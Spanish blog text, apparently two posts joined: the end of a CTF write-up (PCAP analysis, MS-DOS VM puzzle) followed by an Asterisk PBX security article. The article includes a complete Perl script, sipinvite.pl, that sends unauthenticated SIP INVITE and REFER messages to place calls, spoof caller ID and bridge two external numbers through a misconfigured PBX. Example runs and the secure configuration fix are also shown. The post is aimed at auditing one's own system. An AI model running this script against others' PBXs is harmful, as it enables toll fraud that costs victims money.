Podemos ver que se guardan 4 imágenes y, tras revisarlas, sólo 3 coinciden, así que nos centramos en la cuarta: word/media/image4.jpeg

$ file _HistSamurai.docx.extracted/word/media/image4.jpeg 
image4.jpeg: PDF document, version 1.5

Como parece que es un PDF, lo renombremos y lo abrimos. Nos aparece un nuevo texto. Tras echar un vistazo rápido vemos que algunas letras han sido sustituidas por números. Anotamos de forma ordenada esos números y obtenemos la flag.

El flag para pasar el reto es: 1751478315


 

PRUEBA 8

prueba8

Aquí nos encontramos con otro fichero a descargar. En este caso una captura de datos en formato PCAP, con casi 30Mb de basura 🙁

Tras echar una ojeada, dedico extraer los datos con foremost:

$ foremost -v -i captura.pcapng

Vemos muchas imágenes de páginas visitadas, como periódicos y demás. También actualizaciones de windows, etc. Nos centramos en las conexiones HTTP y vemos un par de lugares interenantes. Uno a una web de apuestas (http://www.lotto24.de) y otra a una deportiva (http://www.comunio.es).

Tras crear un filtro en el Wireshark para analizar cada una de las páginas:

lotto24.de: http && ip.addr eq 54.230.60.5
comunio.es: http && ip.addr eq 46.245.181.141

vemos que en la segunda hay algunos POST a una web de login. Nos centramos en esto y vemos:

POST /login.phtml HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */*
Referer: http://www.comunio.es/
Accept-Language: es-ES
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.comunio.es
Content-Length: 58
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=fadkic22j41bim66qkq2ootm50; session_language=es_ES; _pk_id.3.9927=ea0967631790eef5.1449827956.1.1449827956.1449827956.; _pk_ref.3.9927=%5B%22%22%2C%22%22%2C1449827956%2C%22http%3A%2F%2Fwww.google.es%2Furl%3Furl%3Dhttp%3A%2F%2Fwww.comunio.es%2F%26rct%3Dj%26frm%3D1%26q%3D%26esrc%3Ds%26sa%3DU%26ved%3D0ahUKEwjo8ZiBxtPJAhVKBBoKHVH-BLwQFggVMAA%26usg%3DAFQjCNHo4NSJd-AqoQsmIwG5JscFieKTJA%22%5D; _pk_ses.3.9927=*; x1nV; language=es_ES; cX_S=ii1i4qx7xto77mbe; cX_P=ii1i4qx7ynyhovag

login=ctfprueba8&amp;pass=15469&amp;action=login&amp;%3E%3E+Login_x=33


POST /login.phtml HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */*
Referer: http://www.comunio.es/login.phtml
Accept-Language: es-ES
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.comunio.es
Content-Length: 55
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=fadkic22j41bim66qkq2ootm50; session_language=es_ES; _pk_id.3.9927=ea0967631790eef5.1449827956.1.1449828321.1449827956.; _pk_ref.3.9927=%5B%22%22%2C%22%22%2C1449827956%2C%22http%3A%2F%2Fwww.google.es%2Furl%3Furl%3Dhttp%3A%2F%2Fwww.comunio.es%2F%26rct%3Dj%26frm%3D1%26q%3D%26esrc%3Ds%26sa%3DU%26ved%3D0ahUKEwjo8ZiBxtPJAhVKBBoKHVH-BLwQFggVMAA%26usg%3DAFQjCNHo4NSJd-AqoQsmIwG5JscFieKTJA%22%5D; _pk_ses.3.9927=*; x1nV; language=es_ES; cX_S=ii1i4qx7xto77mbe; cX_P=ii1i4qx7ynyhovag

login=ctfP8-2&amp;pass=87563&amp;action=login&amp;%3E%3E+Login_x=33

Probé ambas contraseñas pero no era posible entrar con esas credenciales así que, viendo en el reto de stego y en de la VM con Windows que a los que organizaron el CTF les gusta combinar cosas para obtener la flag, decidí probar ambas contraseñas como flag … y resultó.

El flag para pasar el reto es: 1546987563


 

PRUEBA 9

prueba9

En este reto tenemos otro enlace para descargar un nuevo fichero. En este caso se trata de otra máquina vortaual pero esta vez para VMware y con MS-DOS … qué recuerdos 🙂

Abrimos la máquina y vemos un directorio al que no podemos acceder ya que tiene un nombre que nuestro teclado no nos permite meter. Así que, al igual que en el caso anterior, es cuestión de acceder al disco duro por otros medios.

Lo que hice fue poner el disco como secundario de un Kali Linux. Lo arranque y luego, tras montar la partición de MS-DOS, renombré ese directorio con algo más fácil, como una ‘x’.

Antes de desmontarlo para volver a cargar la VM con MS-DOS, echamos un vistazo al contenido del directorio y vemos un fichero ZIP con contraseña, un par de scripts en BASIC y un juego de la época: Terror Site, de XCOM
prueba9_msdos

Tras probar muchas cosas para intentar sacar la contraseña del ZIP, sin éxito, nos quedaba echar un vistazo al juego.  Desde la propia VM no era posible jugar dado que faltaban los drivers para el ratón, así que lo abrí con un emulador de DOS:

$ dosbox

prueba9_terror
Y a jugar un rato, a ver qué nos encontramos! … y bueno, sólo se podían sacar un par de cosas útiles, el nombre de la partida guardada:

juego9_dosxcom

Y el nombre de la base militar, que era: SanBrdo67231

Tras probar ambas en el ZIP, no eran claves válidas. Así que toca vovler a dar una vuelta a todo lo que tenemos. Y me acordé de los scripts, que debían ser para algo 🙂

Así que abrimos de nuevo la VM y ejecutamos el script des.bas con qbasic, que es el intérprete que trae MS-DOS.

Parece una especia de codificador en el que tras poner una palabra la convierte en mayúsculas e imprime su correspondiente en código morse:

prueba9_clave

Hacemos lo propio con las dos posibles contraseñas que tenemos y, con la de SanBrdo67231 tenemos la contraseña para abrir el ZIP:

....--.-....-.-..---..-.-

Al descomprimir podemos ver varios ficheros:

prueba9_zip

En uno de ellos, masterkey.jpg, vemos una imagen en la parte inferior con un número impreso, que es nuestra flag:

masterkey

El flag para pasar el reto es: 7458245513

 

Analizando la seguridad de tu Asterisk

Si decides montar una centralita Asterisk (o derivado) lo primero que debes hacer es bloquear todos los accesos a la PBX desde Internet. Muchísima gente redirige en su router el puerto 5060/UDP para que todas las conexiones del exterior vayan a su centralita. Y esto es un grave error.

Cuando montamos una centralita de VoIP lo más normal hoy en día es contratar un SIP trunk con un operador, a través del cual enrutemos nuestras llamadas salientes; del mismo modo que nos entregue las llamadas entrantes que vayan destinadas a nuestro número geográfico.

En un Asterisk vamos a poder configurar esta conexión de dos formas diferentes, según el tipo de trunk que nos facilite el operador:

  • Validación por usuario: El operador configurará nuestro peer como host=dynamic y, en este caso nosotros abriremos la conexión hacia él. Configuraremos un timeout y pasado ese tiempo repetiremos el registro, de manera que mantengamos siempre viva la comunicación. En este caso y, ya que la conexión la hacemos nosotros, NO es necesario abrir ningún tipo de servicio al exterior.
  • Validación por IP: El operador configurará el peer con nuestra dirección IP (host=X.X.X.X), de manera que únicamente nosotros podremos comunicarnos con él, a través de ese peer. En este caso no hará falta un registro y sí que deberemos habilitar el puerto 5060/UDP de manera que todas las conexiones entrantes vayan a nuestra PBX. Pero ojo! deberemos crear una regla en el firewall de forma que únicamente la IP de nuestro operador pueda acceder.

Lo más común es que nuestro operador nos ofrezca un trunk con validación por usuario, a no ser que seamos un reseller y tengamos muchas cuentas de clientes, de manera que el operador únicamente se limite a desviar el tráfico hacia nuestra IP para que nosotros lo gestionemos. Pero en ese caso no sería una buena opción tener sólo un Asterisk y sería conveniente usar Kamailio, OpenSIPS u otro tipo de proxy SIP.

No sé si por desconicimiento, o porque realizando pruebas en las que no se consigue conectar el trunk, la gente finalmente termina abriendo el servicio SIP y redirigiendo todo el tráfico de VoIP hacia la centralita. Y esto, unido a una mala configuración nos puede traer graves problemas.

Dejando accesible nuestra centralita desde Internet seremos objeto de continuos escaneos y de ataques de fuerza bruta intentando obtener usuarios y contraseñas válidos que permitan realizar llamadas. No voy a entrar en detalle pero es de sobra conocido que los atancantes usan aplicaciones del tipo SIPVicious para estos fines. Una vez obtenida alguna cuenta, a llamar gratis a nuestra costa, lo cual nos puede dar un buen disgusto.

Aprovechando el script del que hablé hace unos años en http://blog.pepelux.org/2012/02/15/asterisk-invite-attack/ y en http://blog.pepelux.org/2013/01/05/asterisk-%e2%80%93-invite-attack-ii/ lo he modificado para que, además de analizar si una centralita está mal configurada, permitiéndonos emitir llamadas sin necesidad de ningún tipo de autenticación, realice una transferencia a otro número. Es decir, si tenemos mal configurada una centralita, hará lo siguiente.

  • Realizará una llamada a un número de teléfono
  • Transferirá esa llamada a otro número
  • Finalmente se establecerá una comunicación entre ambos
  • Y todo ello sin la necesidad de tener ninguna cuenta de usuario en el sistema

Antes de continuar, he de decir que este estudio lo he realizado debido a la cantidad de intentos de llamada que recibo en mis máquinas. Hace unos meses publiqué un post http://blog.pepelux.org/2014/09/23/sending-fake-auth-for-device-xxx/ del que hablaba sobre el típico mensaje que aparece en nuestro Asterisk: Sending fake auth rejection for device que nos alerta de un intento de llamada pero que no identifica la IP del atacante, lo que hace complicado el bloqueo de dicha IP. En el post puse cómo modificar el código fuente del Asterisk para poder visualizar la IP y añadirla a nuestro firewall.

¿Y de dónde procede este tipo de ataques? Si usamos un honeypot y monitorizamos el tráfico, podemos ver que la gran mayoría (por no decir todos) los mensajes que llegan tienen como UserAgent sipcli/v1.8 (o la versión y release correspondiente). Buscando En Internet vemos que se trata de una aplicación de la empresa KaplanSoft y que podemos descargar aquí: http://www.kaplansoft.com/sipcli/

Este software no es una aplicación para auditoría de seguridad ni para nada relacionado con el hacking sino que se trata de un Predictive Dialer, es decir, un software que emite llamadas de forma automática con la finalidad de enviarlas a un agente en caso de ser respondidas. Sería algo así:

  • Se lanza la aplicación con diferentes números a llamar, contra nuestra centralita y, normalmente con una validación por user/pass
  • Al descolgar una llamada se desvía a un agente, que nos venderá algún tipo de seguro o de enciclopedia

Pero usado de forma fraudulenta, puede servir para emitir llamadas a dos destinos diferentes y ponerlos en comunicación.

Si analizamos el caso de que alguien nos robe una cuenta de usuario y emita llamadas a cualquier país, vamos a tener una pua considerable, pero si alguien emite dos llamadas usando este programa, la pua será del doble. Veamos un caso:

  • Emisión de una llamada a un móvil de Senagal
  • Emisión de una llamada a un móvil de Turquía
  • Transferencia de llamada entre ambas
  • Resultado: el coste de 2 llamadas a móviles internacionales

Como este software es de pago y además, para Windows, decidí modificar un poco mi script en perl para hacer algo similar, y de paso que me ayudara a comprender la dinámica. El script los podéis encontrar al final del post, por si deseáis probar la seguridad de vuestra centralita.

Supongo que surgiran ciertas dudas con respecto a este tipo de ataques …

¿Cómo es posible emitir una llamada desde un script?, ¿no se necesitan dos teléfonos para poder establecer uan comunicación?
Evidentemente, enviando un INVITE desde un script de consola no vamos a poder establecer una comunicación. Pero sí que podremos hacer sonar uno de los teléfonos y verificar que la centralita está mal configurada y es vulnerable.

¿Cómo puedo hacer una transferencia de llamada desde un script?, ¿esto no se hace pulsando el botón TRANSFER de mi teléfono?
Recordemos que en la VoIP todo funciona con una cominicación de paquetes o mensajes. Nosotros (nuestra centralita o nuestro dispositivo) enviamos los comandos identificando lo que deseamos hacer. Al igual que enviamos un INVITE para solicitar una llamada, podemos enviar un REFER para solicitar una transferencia.

Recordemos cómo sería una petición de llamada (sin autenticación):SIPtoSIPCallFlow

  • El usuario envía, a través de su terminal, un mensaje INVITE con un número de destino
  • El servidor le responde con un 100 TRYING diciendo que lo está intentando
  • Si la llamada sigue su curso, nos devolverá un 180 RINGING, que quiere decir que está a la espera de que el destino conteste la llamada
  • Tras contestar, nos mandará un 200 OK indicando que se ha establecido la comunicación
  • Comenzaremos a hablar con el otro interlocutor
  • Uno de los dos extremos colgará y se mandará un BYE indicando que la comunicación ha finalizado

Veamos cómo hacer una llamada con el script:

pepelux@debian:~$ perl sipinvite.pl

Usage: sipinvite.pl -h <host> -d <dst_number> [options]

== Options ==
-d <integer> = Destination number
-u <string> = Username to authenticate
-p <string> = Password to authenticate
-s <integer> = Source number (CallerID) (default: 100)
-r <integer> = Remote port (default: 5060)
-t <integer> = Transfer call to another number
-ip <string> = Source IP (by default it is the same as host)
-v = Verbose (trace information)

== Examples ==
$sipinvite.pl -h 192.168.0.1 -d 100
$sipinvite.pl -h 192.168.0.1 -u sipuser -p supersecret -d 100 -r 5080
$sipinvite.pl -h 192.168.0.1 -s 200 -d 555555555 -v
$sipinvite.pl -h 192.168.0.1 -d 555555555 -t 666666666
$sipinvite.pl -h 192.168.0.1 -d 100 -ip 1.2.3.4

Probamos a hacer una llamada, sin poner ningún tipo de autenticación, y vemos que los mensajes que devuelve son los esperados, primero un Trying, un Ringing y un OK … y me tendréis que creer si os digo que mi teléfono sonó 🙂

$ perl sipinvite.pl -h 185.XX.YY.ZZ -d 675XXXXXX
[+] Sending INVITE 100 => 675XXXXXX
[-] 100 Trying
[-] 180 Ringing
[-] 200 OK

Es más, si el operador permite prefijar el identificador de llamada (CallerID) que queramos, podemos incluso forzarlo y nos aparecerá en nuestro teléfono como que nos llama otra persona:

$ perl sipinvite.pl -h 185.XX.YY.ZZ -d 675XXXXXX -s 666666666
[+] Sending INVITE 100 => 675XXXXXX
[-] 100 Trying
[-] 180 Ringing
[-] 200 OK

Y ahora vamos a la parte más interesante. Si echamos un vistazo al mensaje REFER vemos que nos permite realizar transferencias de llamadas, atendidas o no atendidas. En este caso lo que nos interes es un transferencia no atendida. Y el callfow sería similar al siguiente:

 

refer

 

  • Enviaremos un mensaje INVITE con un número de destino
  • El servidor le responde con un 100 TRYING, un 180 RINGING y un 200 OK, al igual que antes
  • Enviaremos un mensaje REFER indicando que queremos transferir la llamada a otro número
  • El servidor nos mandará un 200 OK y emitirá un segundo INVITE hacia el otro teléfono

Y esto dese el script quedaría así:

$ perl sipinvite.pl -h 185.XX.YY.ZZ -d 675XXXXXX -t 666XXXXXX
[+] Sending INVITE 100 => 675XXXXXX
[-] 100 Trying
[-] 180 Ringing
[-] 200 OK
[+] Sending ACK
[-] 200 OK
[+] Sending REFER 100 => 666XXXXXX
[-] 202 Accepted

Es decir, se realiza la llamada al primer número y tras descolgar le decimos al servidor que transfiera su llamada al segundo número:

  • Pedimos al servidor que llame desde la extensión 100 al 675XXXXXX
  • Luego le pedimos que transfiera la 100 al 666XXXXXX
  • Finalmente quedamos en comunicación los dos móviles

Ahora imaginaros que el que ha accedido es un atacante que quiere comunicar dos móviles de cualquier país, usando para ello 2 canales. Y que tenemos configurados 20 canales en ese peer, permitiéndole hacer, de forma simultánea, 10 llamadas dobles. Imaginad en unas pocas horas el gasto que nos puede generar.

Como detalle diré que para dejar la centralita vulnerable, lo único que hice fue poner un contexto default erróneo en extensions.conf:

[phones]
exten => 100,1,Dial(SIP/100,30)
include => outcoming

[outcoming]
exten => _X.,1,Dial(SIP/trunk/${EXTEN},30)

[default]
include => phones

Como se puede apreciar, el contexto default, que es a donde van las llamadas entrantes, o no identificadas en cualquier otro contexto, tiene acceso a outcoming, ya que incluye phones y este a su vez incluye outcoming.

Lo correcto sería algo así:

[phones]
include => incoming
include => outcoming

[incoming]
exten => 100,1,Dial(SIP/100,30)

[outcoming]
exten => _X.,1,Dial(SIP/trunk/${EXTEN},30)

[default]
include => incoming

Con el contexto default bien configurado no nos dejaría llamar, como se puede apreciar:

$ perl sipinvite.pl -h 185.XX.YY.XX -d 675XXXXXX
[+] Sending INVITE 100 => 675XXXXXX
[-] 404 Not Found

Aún en el caso de que tengamos mal configurados nuestros contextos, si tuviéramos la directiva allowguest=no en nuestro sip.conf, nos pediría una autenticación de usuario impidiéndonos llamar si no nos validamos antes. Algo así:

$ perl sipinvite.pl -h 185.XX.YY.ZZ -d 675XXXXXX
[+] Sending INVITE 100 => 675XXXXXX
[-] 401 Unauthorized

Pero recordemos que esta directiva viene por defecto a yes y somos nosotros los responsables de desactivarla si no le vamos a dar uso.

Y aquí está el script:

#!/usr/bin/perl
# -=-=-=-=-=-=-=
# SipINVITE v1.2
# -=-=-=-=-=-=-=
#
# Pepelux <pepeluxx@gmail.com>

use warnings;
use strict;
use IO::Socket;
use NetAddr::IP;
use Getopt::Long;
use Digest::MD5 qw(md5 md5_hex md5_base64);

my $useragent = 'pplsip';

my $host = '';	# host
my $dport = '';	# destination port
my $from = '';	# source number
my $to = '';	# destination number
my $refer = '';	# refer number
my $v = 0;	# verbose mode
my $user = '';	# auth user
my $pass = '';	# auth pass

my $realm = '';
my $nonce = '';
my $response = '';
my $digest = '';

my $to_ip = '';
my $from_ip = '';

sub init() {
	# check params
	my $result = GetOptions ("h=s" => \$host,
				"u=s" => \$user,
				"p=s" => \$pass,
				"d=s" => \$to,
				"s=s" => \$from,
				"ip=s" => \$from_ip,
				"r=s" => \$dport,
				"t=s" => \$refer,
				"v+" => \$v);

	help() if ($host eq "" || $to eq "");

	$dport = "5060" if ($dport eq "");
	$user = "100" if ($user eq "");
	$from = $user if ($from eq "");

	$to_ip = inet_ntoa(inet_aton($host));
	$from_ip = $to_ip if ($from_ip eq "");

	my $callid = &generate_random_string(32, 1);
	my $sc = new IO::Socket::INET->new(PeerPort=>$dport, Proto=>'udp', PeerAddr=>$to_ip, Timeout => 10);
	my $lport = $sc->sockport();

	# first INVITE
	my $csec = 1;
	my $res = send_invite($sc, $from_ip, $to_ip, $lport, $dport, $from, $to, $digest, $callid, $csec, $user);

	# Authentication
	if (($res =~ /^401/ || $res =~ /^407/) && $user ne '' && $pass ne '') {
		$csec++;
		my $uri = "sip:$to\@$to_ip";
		my $a = md5_hex($user.':'.$realm.':'.$pass);
		my $b = md5_hex('INVITE:'.$uri);
		my $r = md5_hex($a.':'.$nonce.':'.$b);
		$digest = "username=\"$user\", realm=\"$realm\", nonce=\"$nonce\", uri=\"$uri\", response=\"$r\", algorithm=MD5";

		$res = send_invite($sc, $from_ip, $to_ip, $lport, $dport, $from, $to, $digest, $callid, $csec, $user);
	}

	# Transfer call
	if ($res =~ /^200/ && $refer ne "") {
		$csec++;
		$res = send_ack($sc, $from_ip, $to_ip, $lport, $dport, $from, $to, $digest, $callid, $csec);
		$csec++;
		$res = send_refer($sc, $from_ip, $to_ip, $lport, $dport, $from, $to, $digest, $callid, $csec, $user, $refer);
	}

	exit;
}

# Send INVITE message
sub send_invite {
	my $sc = shift;
	my $from_ip = shift;
	my $to_ip = shift;
	my $lport = shift;
	my $dport = shift;
	my $from = shift;
	my $to = shift;
	my $digest = shift;
	my $callid = shift;
	my $cseq = shift;
	my $user = shift;

	my $branch = &generate_random_string(71, 0);

	my $msg = "INVITE sip:".$to."@".$to_ip." SIP/2.0\n";
	$msg .= "To: $to <sip:".$to."@".$to_ip.">\n";
	$msg .= "From: $from <sip:".$user."@".$from_ip.">;tag=0c26cd11\n";
	$msg .= "Via: SIP/2.0/UDP $to_ip:$lport;branch=$branch;rport\n";
	$msg .= "Call-ID: ".$callid."\n";
	$msg .= "CSeq: $cseq INVITE\n";
	$msg .= "Contact: <sip:".$to."@".$to_ip.":$lport>\n";
	$msg .= "Authorization: Digest $digest\n" if ($digest ne "");
	$msg .= "User-Agent: $useragent\n";
	$msg .= "Max-forwards: 70\n";
	$msg .= "Allow: INVITE, ACK, CANCEL, BYE, REFER\n";
	$msg .= "Content-Type: application/sdp\n";

	my $sdp .= "v=0\n";
	$sdp .= "o=anonymous 1312841870 1312841870 IN IP4 $to_ip\n";
	$sdp .= "s=session\n";
	$sdp .= "c=IN IP4 $from_ip\n";
	$sdp .= "t=0 0\n";
	$sdp .= "m=audio 2362 RTP/AVP 0\n";
	$sdp .= "a=rtpmap:18 G729/8000\n";
	$sdp .= "a=rtpmap:0 PCMU/8000\n";
	$sdp .= "a=rtpmap:8 PCMA/8000\n";
	$sdp .= "a=rtpmap:101 telephone-event/8000\n\n";

	$msg .= "Content-Length: ".length($sdp)."\n\n";
	$msg .= $sdp;

	print $sc $msg;

	if ($v eq 0) { print "[+] Sending INVITE $from => $to\n"; }
	else { print "Sending:\n=======\n$msg"; }

	my $data = "";
	my $response = "";
	my $line = "";

	LOOP: {
		while (<$sc>) {
			$line = $_;

			if ($line =~ /^SIP\/2.0/ && $response eq "") {
				$line =~ /^SIP\/2.0\s(.+)\r\n/;

				if ($1) { $response = $1; }
			}

			if ($line =~ /^WWW-Authenticate:/) {
				$line =~ /^WWW-Authenticate:\sDigest\salgorithm=(.+),\srealm=\"(.+)\",\snonce=\"(.+)\"\r\n/;
				$realm = $2 if ($2);
				$nonce = $3 if ($3);
			}

			$data .= $line;

			if ($line =~ /^\r\n/) {
				if ($v eq 0) { print "[-] $response\n"; }
				else { print "Receiving:\n=========\n$data"; }

				last LOOP if ($response !~ /^1/);

				$data = "";
				$response = "";
			}
		}
	}

	return $response;
}

# Send ACK message
sub send_ack {
	my $sc = shift;
	my $from_ip = shift;
	my $to_ip = shift;
	my $lport = shift;
	my $dport = shift;
	my $from = shift;
	my $to = shift;
	my $digest = shift;
	my $callid = shift;
	my $cseq = shift;

	my $branch = &generate_random_string(71, 0);

	my $msg = "ACK sip:".$to."@".$to_ip." SIP/2.0\n";
	$msg .= "To: $to <sip:".$to."@".$to_ip.">\n";
	$msg .= "From: $from <sip:".$from."@".$from_ip.">;tag=0c26cd11\n";
	$msg .= "Via: SIP/2.0/UDP $to_ip:$lport;branch=$branch;rport\n";
	$msg .= "Call-ID: ".$callid."\n";
	$msg .= "CSeq: $cseq ACK\n";
	$msg .= "Contact: <sip:".$to."@".$to_ip.":$lport>\n";
	$msg .= "Authorization: Digest $digest\n" if ($digest ne "");
	$msg .= "User-Agent: $useragent\n";
	$msg .= "Max-forwards: 70\n";
	$msg .= "Allow: INVITE, ACK, CANCEL, BYE, REFER\n";
	$msg .= "Content-Length: 0\n\n";

	print $sc $msg;

	if ($v eq 0) { print "[+] Sending ACK\n"; }
	else { print "Sending:\n=======\n$msg"; }

	my $data = "";
	my $response = "";
	my $line = "";

	LOOP: {
		while (<$sc>) {
			$line = $_;

			if ($line =~ /^SIP\/2.0/ && $response eq "") {
				$line =~ /^SIP\/2.0\s(.+)\r\n/;

				if ($1) { $response = $1; }
			}

			$data .= $line;

			if ($line =~ /^\r\n/) {
				if ($v eq 0) { print "[-] $response\n"; }
				else { print "Receiving:\n=========\n$data"; }

				last LOOP if ($response !~ /^1/);

				$data = "";
				$response = "";
			}
		}
	}

	return $response;
}

# Send REFER message
sub send_refer {
	my $sc = shift;
	my $from_ip = shift;
	my $to_ip = shift;
	my $lport = shift;
	my $dport = shift;
	my $from = shift;
	my $to = shift;
	my $digest = shift;
	my $callid = shift;
	my $cseq = shift;
	my $user = shift;
	my $referto = shift;

	my $branch = &generate_random_string(71, 0);

	my $msg = "REFER sip:".$to."@".$to_ip." SIP/2.0\n";
	$msg .= "To: $to <sip:".$to."@".$to_ip.">\n";
	$msg .= "From: $user <sip:".$user."@".$to_ip.">;tag=0c26cd11\n";
	$msg .= "Via: SIP/2.0/UDP $to_ip:$lport;branch=$branch;rport\n";
	$msg .= "Call-ID: ".$callid."\n";
	$msg .= "CSeq: $cseq REFER\n";
	$msg .= "Contact: <sip:".$user."@".$from_ip.":$lport>\n";
	$msg .= "Authorization: Digest $digest\n" if ($digest ne "");
	$msg .= "User-Agent: $useragent\n";
	$msg .= "Max-forwards: 70\n";
	$msg .= "Allow: INVITE, ACK, CANCEL, BYE, REFER\n";
	$msg .= "Refer-To: <sip:".$referto."@".$to_ip.">\n";
	$msg .= "Referred-By: <sip:".$user."@".$from_ip.":$lport>\n";
	$msg .= "Content-Length: 0\n\n";

	print $sc $msg;

	if ($v eq 0) { print "[+] Sending REFER $from => $refer\n"; }
	else { print "Sending:\n=======\n$msg"; }

	my $data = "";
	my $response = "";
	my $line = "";

	LOOP: {
		while (<$sc>) {
			$line = $_;

			if ($line =~ /^SIP\/2.0/ && $response eq "") {
				$line =~ /^SIP\/2.0\s(.+)\r\n/;

				if ($1) { $response = $1; }
			}

			$data .= $line;

			if ($line =~ /^\r\n/) {
				if ($v eq 0) { print "[-] $response\n"; }
				else { print "Receiving:\n=========\n$data"; }

				last LOOP if ($response !~ /^1/);

				$data = "";
				$response = "";
			}
		}
	}

	return $response;
}

# Generate a random string
sub generate_random_string {
	my $length_of_randomstring = shift;
	my $only_hex = shift;
	my @chars;

	if ($only_hex == 0) {
		@chars = ('a'..'z','0'..'9');
	}
	else {
		@chars = ('a'..'f','0'..'9');
	}

	my $random_string;

	foreach (1..$length_of_randomstring) {
		$random_string.=$chars[rand @chars];
	}

	return $random_string;
}

sub help {
    print qq{
SipINVITE v1.2 - by Pepelux <pepeluxx\@gmail.com>
--------------

Usage: perl $0 -h <host> -d <dst_number> [options]
 
== Options ==
-d  <integer>    = Destination number
-u  <string>     = Username to authenticate
-p  <string>     = Password to authenticate
-s  <integer>    = Source number (CallerID) (default: 100)
-r  <integer>    = Remote port (default: 5060)
-t  <integer>    = Transfer call to another number
-ip <string>     = Source IP (by default it is the same as host)
-v               = Verbose (trace information)
 
== Examples ==
\$perl $0 -h 192.168.0.1 -d 100
\$perl $0 -h 192.168.0.1 -u sipuser -p supersecret -d 100 -r 5080
\$perl $0 -h 192.168.0.1 -s 200 -d 555555555 -v
\$perl $0 -h 192.168.0.1 -d 555555555 -t 666666666
\$perl $0 -h 192.168.0.1 -d 100 -ip 1.2.3.4

};

    exit 1;
}

init();

 

Saludos